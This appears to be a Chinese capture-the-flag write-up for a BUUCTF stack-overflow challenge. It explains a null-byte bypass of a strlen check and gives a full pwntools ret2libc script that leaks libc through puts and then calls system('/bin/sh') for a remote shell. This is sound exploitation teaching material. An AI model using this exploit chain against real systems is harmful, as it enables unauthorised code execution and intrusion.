然后打开IDA,分析其逻辑,前面都没有什么问题,到了v4=1分支,也就是解密分支,进入其中,发现其中encrypt函数中有gets()
encrypt函数会将输入的数据加密处理,中间一堆都可以不管,利用长度检查的函数strlen,在payload前加上\x00,返回值就为长度为0,在 if 里面的判断语句判断为真后,就直接退出了循环。payload就没有被破坏完整性。
接下来编写脚本,ida检查没有后门函数,经典ROP编写,程序内没有write,那么使用puts(更方便)
int puts(const char *s):只有一个参数。s可以是字符指针变量名、字符数组名,或者直接是一个字符串常量。
功能是将字符串输出到屏幕。输出时只有遇到 ‘\0’(对应ascII码00), 也就是字符串结束标志符才会停止。
同时puts函数会自动在其后添加一个换行符
返回值:如果成功,该函数返回一个非负值为字符串长度(包括末尾的 \0),如果发生错误则返回 EOF。
一共发送两次payload,第一次栈溢出利用puts函数泄露某函数在程序中的libc地址,得到libc版本、libcBase(libc在内存中的起始位置) ,第二次溢出用libcBase得出的system和/bin/sh字符串,get shell
from pwn import *
from LibcSearcher import *
context(log_level = 'debug')
io = remote("node3.buuoj.cn", xxx)
elf = ELF("./pwn")
sla = lambda x,y:io.sendlineafter(x,y)
rl = lambda :io.recvline()
sla('choice!\n',b'1')
rdi_ret = 0x400c83
ret = 0x4007F1
main_addr = elf.sym['main']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
# ret语句相当于进行 pop IP
payload = b'\x00'+b'a'*(0x50+0x8-1) + p64(rdi_ret) + p64(puts_got) + \
p64(puts_plt) + p64(main_addr)
sla('encrypted\n',payload)
# 接收换行符
rl()
rl()
puts_addr=u64(io.recvuntil('\n' , drop = True).ljust(8,b'\x00'))
print("[+] puts_addr: " ,hex(puts_addr))
#sla()
libc = LibcSearcher("puts", puts_addr)
libcBase = puts_addr - libc.dump("puts")
system_addr = libcBase + libc.dump("system")
bin_sh = libcBase + libc.dump("str_bin_sh")
payload = payload = b'\x00'+b'a'*(0x50+0x8-1) +p64(ret) +p64(rdi_ret) + p64(bin_sh) + \
p64(system_addr)
sla('choice!\n',b'1')
sla('encrypted\n',payload)
io.interactive()